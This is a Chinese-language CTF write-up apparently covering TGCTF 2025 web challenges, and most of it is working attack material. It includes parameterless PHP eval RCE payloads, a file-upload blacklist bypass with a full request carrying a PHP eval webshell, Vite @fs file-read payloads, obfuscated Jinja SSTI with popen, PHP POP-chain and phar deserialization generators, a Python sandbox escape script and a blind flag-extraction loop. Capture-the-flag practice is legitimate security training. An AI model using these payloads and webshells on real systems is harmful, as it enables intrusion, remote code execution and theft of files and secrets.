AAA偷渡阴平

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

考点无参数rce

文章:https://blog.csdn.net/2301_76690905/article/details/133808536

payload:?tgctf2025=eval(end(current(get_defined_vars())));&b=system('cat /flag');

AAA偷渡阴平(复仇)

说是不可以用无参数 但是没有禁止session类的函数

;分割可以执行两个命令

?tgctf2025=session_start();passthru(hex2bin(session_id()));

cookie:PHPSESSID=636174202f666c6167

(ez)upload

文件上

dirsearch扫描可以扫出upload.php 题目提示是备份文件 于是尝试访问upload.php.bak

得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

这里发现htaccess被禁了 但是这里看到了2个非常具有特性的函数

$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

这行获取的是文件的拓展名,同时又对ph和hta进行了过滤

move_uploaded_file

定义

1
2
move_uploaded_file() 函数把上传的文件移动到新位置。
如果成功该函数返回 TRUE,如果失败则返回 FALSE。

语法

1
2
3
move_uploaded_file(file,newloc)
file:必需。规定要移动的文件。
newloc:必需。规定文件的新位置。

提示

1
2
注释:该函数仅用于通过 HTTP POST 上传的文件。
注释:如果目标文件已经存在,将会被覆盖。

漏洞利用

1
当move_uploaded_file函数参数可控时,可以尝试/.绕过,因为该函数会忽略掉文件末尾的/.,所以可以构造save_path=1.php/.,这样file_ext值就为空,就能绕过黑名单,而move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php

直接先传个文件然后再把后缀改为*.php/.即可

GET也要传入?name=*.php/.

然后蚁剑连接成功,找flag就好了。

总结下

pathifo函数帮助绕过对php后缀的检测 让file_ext返回值为空

move_uploaded_file 函数则是帮助删除/. 让保存文件后缀最后变为php

上传文件的数据包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /upload.php?name=22.php/. HTTP/1.1
Host: 127.0.0.1:60681
Content-Length: 310
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="107", "Not=A?Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1:60681
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryU4VFMZ4wbU2hEGvg
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.5304.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:60681/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryU4VFMZ4wbU2hEGvg
Content-Disposition: form-data; name="name"; filename="22.php/."
Content-Type: image/jpeg

<?=eval($_POST['1']);?>
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryU4VFMZ4wbU2hEGvg--

前端GAME

进去是个小游戏 本来以为是正常思路 但是怎么都做不出 于是题目是个vue框架的游戏 于是搜索 发现有关于这个的漏洞

漏洞文章:Vite开发服务器任意文件读取漏洞分析复现(CVE-2025-31125)-先知社区

Vite存在CVE-2025-30208安全漏洞(附修复方案和演示示例)

Vite漏洞原理

Vite在开发服务器模式下,提供了@fs功能,原本是为了让开发者访问服务允许范围内的文件。正常情况下,如果请求的文件超出了这个允许范围,Vite应该返回“403 Restricted”,提示访问受限。但攻击者发现了一个“漏洞”,当在请求URL中添加?raw???import&raw??这样的特殊参数时,就能绕过原本的文件访问限制检查。

原因:Vite在处理请求的多个环节中,会移除类似?的结尾分隔符,但在查询字符串的正则匹配过程中,却没有考虑到这种特殊情况,这就给攻击者可乘之机,他们利用这个缺陷,就能读取目标文件的内容

题目解法

直接按照他给的payload /@fs/tgflagggg?import&raw??

前端GAME Plus

上一道题的payload不可行了

文章未公开的poc:可以通过svg来进行文件读取 /@fs/tgflagggg?import&?meteorkai.svg?.wasm?init

image-20250414204645766

得到VEdDVEZ7ZmUxM2MzZGYtYzNkNC1hYjJhLTQwZjYtNjNjYjM1MzczNjAyfQo=

base64解码 TGCTF{fe13c3df-c3d4-ab2a-40f6-63cb35373602}

前端GAME Ultra

plus的payload也不可以

/@fs/app#/../proc/self/environ读环境变量

也可以 /@fs/app/vite-project/#/../../../../../tgflagggg

直面天命

访问/hint 提示是一个四个小写英文字母的路由 爆出来是/aazz路由

进去f12 看到说是可以传参数 but不知道参数是什么 那就arjun爆破吧 爆出来是filename

看到fillename参数 一般会考虑到ssrf 就像name是ssti一样

传入?filename=/etc/passwd

可以读取 尝试读取环境变量

?filename=/proc/1/environ

也可以直接读/flag

直面天命(复仇)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
for x in black_list:
if x in name.lower():
return True
return False
def is_typable(char):
# 定义可通过标准 QWERTY 键盘输入的字符集
typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
return char in typable_chars

@app.route('/')
def home():
return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
template1=""
template2=""
name = request.form.get('name')
template = f'{name}'
if waf(name):
template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹
Image'
else:
k=0
for i in name:
if is_typable(i):
continue
k=1
break
if k==1:
if not (secret_key[:2] in name and secret_key[2:]):
template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧

再去西行历练历练

Image'
return render_template_string(template)
template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”
最后,如果你用了cat,就可以见到齐天大圣了
"
template= template.replace("天命","{{").replace("难违","}}")
template = template
if "cat" in template:
template2 = '
或许你这只叫天命人的猴子,真的能做到?

Image'
try:
return template1+render_template_string(template)+render_template_string(template2)
except Exception as e:
error_message = f"500报错了,查询语句如下:
{template}"
return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
template="hint:
有一个aazz路由,去那里看看吧,天命人!"
return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
with open(__file__, 'r') as f:
source_code = f.read()
return f"
{source_code}
", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)

审计源码 黑名单

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']

把{}ban了 但是天命和难违可以替换为

所以直接按照黑名单 打ssti就可

最后payload

1
天命((g['p''op']["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f"]["\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f"]('o''s'))['p''open']('cat /t*'))['r''ead']()难违

火眼辩魑魅

进去dirsearch扫描网站 看到robots.txt 访问得到很多路由 说是只有一个能到

直接到/tgshell.php打rce即可

post传入· shell=print \cat /t*`;`

image-20250414134522190

因为是一句话木马 也可以直接使用蚁剑连接 然后也可得到flag

什么文件上传?

进去是文件上传 发现传什么都被ban 于是dirsearch了一下网站 robots.txt里有东西

[图片]

访问/class.php 发现是是反序列化并且有漏洞点

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
highlight_file(__FILE__);
error_reporting(0);
function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
class yesterday {
public $learn;
public $study="study";
public $try;
public function __construct()
{
$this->learn = "learn<br>";
}
public function __destruct()
{
echo "You studied hard yesterday.<br>";
return $this->study->hard(); //1
}
}
class today {
public $doing;
public $did;
public $done;
public function __construct(){
$this->did = "What you did makes you outstanding.<br>";
}
public function __call($arg1, $arg2)
{
$this->done = "And what you've done has given you a choice.<br>";
echo $this->done;
if(md5(md5($this->doing))==666){
return $this->doing();
}
else{
return $this->doing->better; //2
}
}
}
class tommoraw {
public $good;
public $bad;
public $soso;
public function __invoke(){
$this->good="You'll be good tommoraw!<br>";
echo $this->good;
}
public function __get($arg1){
$this->bad="You'll be bad tommoraw!<br>";
}

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

public function __set($arg1, $arg2) {
if ($this->out->useful7) {
echo "Seven is my lucky number<br>";
system('whoami');
}
}
public function __toString(){
echo "This is your future.<br>";
system($_POST["wow"]); //3
return "win";
}
public function __destruct(){
$this->no = "no";
return $this->no;
}
}
if (file_exists($_GET['filename'])){
echo "Focus on the previous step!<br>";
}
else{
$data=substr($_GET['filename'],0,-4);
unserialize(best64_decode($data));
}
// You learn yesterday, you choose today, can you get to your future?
?>

理一下大概的链子顺序

yesterday::destruct(study=new today)-> today::__call(doing=new future)-> future::__tostring

然后post传入wow就可以进行命令执行 但是有个注意点

1
2
3
4
5
6
    function best64_decode($str)
{
return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
}
......
unserialize(best64_decode($data));

序列化后的数据还要base_encode 5次传入

pop链如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class yesterday {
public $learn;
public $study;
public $try;
}
class today {
public $doing;
public $did;
public $done;
}
class tommoraw {
public $good;
public $bad;
public $soso;

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();
echo serialize($aa);
?>

image-20250414133152637

null替换为%00就行了 因为private属性的原因

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Vm10b2QyUnJOVlpQV0VKVVlXeGFhRll3VlRCa01XUnpZVVYwYUUxWGVGcFpWRXB6VlVkR2NrMUVTbUZ
XUlRWUFZHMXpNVlpYU1hsaVIyeFRUVlp3ZGxkVVNYZE5SMFpXVDBoa1QxSkhVbkZhVnpBMFpVWlJlV0
pGZEd4aVZrcEtWbTB4TUdKR1ZYZGhlazVYVTBoQ01sUldWVFZqUms1eFVXMXNUbUpGY0haWGJGcFBVM
nMxY2sxVVdtcFNSMUp4V2xjd05HVkdVWGxpUlhSb1RXdHNOVmxyYUZkWlYxWldZWHBPVjFOSVFqSlVW
M00xWTBaT2RFMVhkRmhTYTJ3MFYxUkplRlp0UmxaUFdFWlVWMGhDVVZsdE5WTk9iRkY1WTBWYVQxSlV
iSGRWTWpCNFlURmtSMU5ZYUZwTmFrWllXVEJrUzFkV1JuVlhiWEJPVFVSV00xWXhZM2hPUjBwR1lraE
dhMU5JUWxGWlYzUnlaVVpSZVdKRmRGUldNR3cyVjFSS2ExZHJNWEpYYWtaVVZsZG9lbHBITVZOV1JrW
jBUbGRHV0ZKclduVlhWbFpyVmpKV1YyTkdWbEJTUjJoaFdXMTBjbU5zVGxoalJFSnNZWHBzZUZWc2FH
OVZSMFpXWTBoU1lWSnRhRlJVVm1SUFpFWmFkVmR0ZEZoU2ExcDNWa2h3UWsxRk5IbFVhbHBwVFRKb1Q
xVnJZelZqUm1SMFRsWmtUbEl4U2xwVk1qRTBZVmRLVldGSVFsVmxhMFYzVkdwS1QwNXRTalpVYkVKb1
ZsYzVORmRZY0V0V01rcFlWV3hvYTAweWFFdFpWelZUVlVaU05sUnJOVTloZWxVeVdXcEtjMkV4WkVaT
1dFNVlZbFJXV0ZsNlFYaGpSazVWV2taV2FHSnNTVEpXUkVwM1lXczFjbUpJVmxkaWJrSm9WbXBHZG1W
R2JISlZhelZvVmxSb00xUnJVbXRoYlZaMFQwaHdWVTF0ZUV4VVZtUk9aVlphZEUxWGRGZE5NazR6VlR
Ga2QwMUdVWGRQU0hCVlZrWndVRnBYTURWalJuQkhZVVU1YVZKdVFqRldiVFZQVkRGVmQyRjZUbGRTTT
BGM1dsZHpOV05XYkRaWGEzQnBZa1p2TWxZeWVHdFpWVEZZVTJ0V1dGWXllRkZVVlZKU1RURnJlbU5JV
2s1TlJHeDNWVEp3UjJGck1YTlhibEpoVW0xUmVsUlVRbk5qVjFKR1QxWkNUazFFUVhsV1J6VjNaRzFH
V0ZWc2JGVmlXR2hvV1cxNFlXVnNVWGRVYTNCUFRWWktlRnBGYUhkVlIwWjBWRlJLVkZaNlZsaGFWM2g
zVjBaa2NWSnRiRk5TTTFKM1ZraHdRazFGTkhsVWFscHBaV3hLVVZsV1ZuWmxSbXcyVTJ4a2FWWXhTbG
xhUkU1dlZHeEZkMkY2VGxkU00wRjNXbGR6TldOV2NEWlhhM0JwWWtadk1sWXllR3RaVlRGWVUydFdVM
WRIYUV0WlZ6VlRWVVpTTmxSck5VOWhlbXhHV1dwS2MyRXhaRVpPV0U1WVlsUldXRmw2UVhoV1ZrNVlZ
a1pDVGxKR1JYcFhWRTUzWkdzMVJrOVlRbFJoYTFweFZGZDRZV1JHY0VkYVJFNXNVbFJGTVZVeFVtdFd
WMFoxVldwYVZVMXVRblZVYlhSelpGWmFkV05IUmxkTlZ6azBWMWQwVTFKck1VWmlTRVpyVWxSc1VWUl
VRWGROYkZGM1ZXNWFhRll4U2xwV1J6RTBXVmRLYzFkdWNGVldiRXBYV1ZaVk5HUXdOVVZhUjNCc1lsU
m5kMVpFU25OVE1ERllWRmhzVjJKVVJuSldhazVyVGtaU2RHSkZjRTlOVmtwNFdrVm9kMVZIUm5SWmVr
cFVWbnBXV0ZwWGVIZFhSbVJ4VW0xc1UxSldWalpWTVdSM1RVWlJkMDlJY0ZWV1JuQlJWV3RqTldOR2N
FZGhSVGxwVW01Q01WWnROVTlVYkZwSVdraENWV1ZyUlhkVWFrcFBUbTFLTmxWc1FtaFdWemswVjFod1
MxWXlTbGhWYkdoclRUSm9VVlpVUW5KTk1WcElZMFJDYkdGNmJIaFhibkJoVTIxS2MxZHFXbGhpUjFKb
1ZGWmtTMUpXVGxsYVJYQm9ZbXhLVVZaSWNFNWxSMVp5VDFoR1ZWWkdjRXRaYkZwTFpERmtjbFJyY0U5
TlZrcDRXa1ZvZDFWSFJuTlNWRXBVVm5wR1ZGcEhNVXRrUmxwWVlrWkNUbEpHUlhwWGJYaHZWR3MxY2s
xVVdtbE5iWGh5VlRCV2RrMVdUbGhqUkVKVlRVUm9ObFJWVVhkUVVUMDk=1111

在传入wow=cat /flag即可

image-20250414134244095

什么文件上传?(复仇)

漏洞利用点:phar协议流可被file_exists()函数直接触发 可以上传.avg文件

链子如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
class yesterday {
public $learn;
public $study;
public $try;
}
class today {
public $doing;
public $did;
public $done;
}
class tommoraw {
public $good;
public $bad;
public $soso;

}
class future{
private $impossible="How can you get here?<br>";
private $out;
private $no;
public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;
}
$aa = new yesterday();
$aa->study = new today();
$aa->study->doing = new future();

$phar = new Phar('sauy.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ? >');
$phar->setMetadata($aa);
$phar->addFromString('test.txt', 'test');
$phar->stopBuffering();
?>

php -d phar.readonly=0 -f explore.php

将生成的sauy.php改为atg 上传成功后 到class.php 进行反序列化操作

get传入:?filename=phar://./uploads/sauy.atg/test.txt

post传入:wow=env

熟悉的配方,熟悉的味道

进去即使源代码贴脸 但是可惜我不会 赛后复现算是学到了 谢谢实验室的佬大教我

考点:沙箱绕过 python代码注入

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
'__builtins__': {}, # 禁用所有内置函数
'__import__': None # 禁止动态导入
}


def checkExpr(expr_input):
expr = re.split(r"[-+*/]", expr_input)
print(exec(expr_input))

if len(expr) != 2:
return 0
try:
int(expr[0])
int(expr[1])
except:
return 0

return 1


def home_view(request):
expr_input = ""
result = ""

if request.method == 'POST':
expr_input = request.POST['expr']
if checkExpr(expr_input):
try:
result = eval(expr_input, eval_globals)
except Exception as e:
result = e
else:
result = "爬!"


template_str = 【xxx】

env = Environment(loader=BaseLoader())
template = env.from_string(template_str)
rendered = template.render(expr_input=expr_input, result=result)
return Response(rendered)


if __name__ == '__main__':
with Configurator() as config:
config.add_route('home_view', '/')
config.add_view(home_view, route_name='home_view')
app = config.make_wsgi_app()

server = make_server('0.0.0.0', 9040, app)
server.serve_forever()

法1:用抛出错误实现RCE,用污染HTTP 500的返回消息实现回显

脚本

看不懂问ai

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "your_url"


code = f"""
b = re.match.__globals__['__builtins__']
b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body",b["__import__"]('os').popen('ls /').read().encode())
raise Exception("1")
"""

resp = requests.post(url, data = {
"expr": f"exec({code!r})",
})
print(resp.status_code)
print(resp.text)

脚本解释

1
2
3
4
5
6
7
首先通过 b = re.match.__globals__['__builtins__'] 这一步是通过加载__globals__的属性访问全局空间 目的是绕过对__import__和__builtins__的限制 相当于绕过对这个的沙箱限制

然后 b["setattr"](b['__import__']('wsgiref').handlers.BaseHandler,"error_body" 是过__import__函数动态加载wsgiref模块wsgiref.handlers.BaseHandler是WSGI处理HTTP请求/响应的基类,负责生成错误响应内容。

b["__import__"]('os').popen('ls /').read().encode() 然后修改类的error_body属性为命令执行的内容 然后encode是把其转化为字节类型

raise Exception("1")是强制抛出异常 触发WSGI报错

原理

通过故意触发程序中的异常(错误),利用异常处理机制中的漏洞执行恶意代码。例如,在动态代码执行环境(如eval)中,攻击者构造输入引发异常,同时注入恶意代码。

做题思考步骤:

  1. 输入构造:提交包含恶意代码的输入,如1 + "a"引发类型错误。
  2. 异常触发:服务器处理输入时抛出异常,进入错误处理流程。
  3. 代码注入:在异常处理过程中,恶意代码被解析执行。例如,通过__import__('os').system('ls')执行系统命令。
  4. 绕过限制:利用反射或内置对象(如__builtins__)绕过沙箱限制,实现任意代码执行。

法2:布尔盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import string
import requests
from tqdm import tqdm
url = ""
flag=""

for i in range(len(flag),50):
# for s in 'TGCTF{':
for s in tqdm('-'+'}'+'{'+string.ascii_lowercase+string.digits):
data = {"expr":f"import os,operator;f=os.popen('cat /f*').read();a=int(operator.eq(f[{i}],'{s}'));1/a"}
# res = requests.post(url, data=json)
res = requests.post(url, data=data)
# print(res.text, s)
if res.text != "A server error occurred. Please contact the administrator.":
flag += s
print(flag)
break
print(i)s

法3:pyramid内存马

推荐这篇师傅的文章捏 https://www.yuque.com/polestar-mzvgl/swtget/zuh78rfp7i67u219#AWd8j

也可以看我的博客内置文章 https://sauy122.github.io/2025/04/16/python%E5%86%85%E5%AD%98%E9%A9%AC%E5%AD%A6%E4%B9%A0/

TG_wordpress

有很多漏洞点 治理只写一种

扫描二维码下下来一个apk文件 jadx反编译后 全局搜索 password

image-20250415210925462

1
2
3
<string name="web04">+ username/password:</string>
<string name="web05">+ TG_wordpressor</string>
<string name="web06">+ aXx^oV@K&amp;cFoVaztQ*</string>

在/login路由登录 进入过后 查询插件确定cve 的型号(你可也直接复制插件的内容 然后直接问dp)

TGCTF{CVE-2020-25213}

TGCTF 2025 后台管理

SQL注入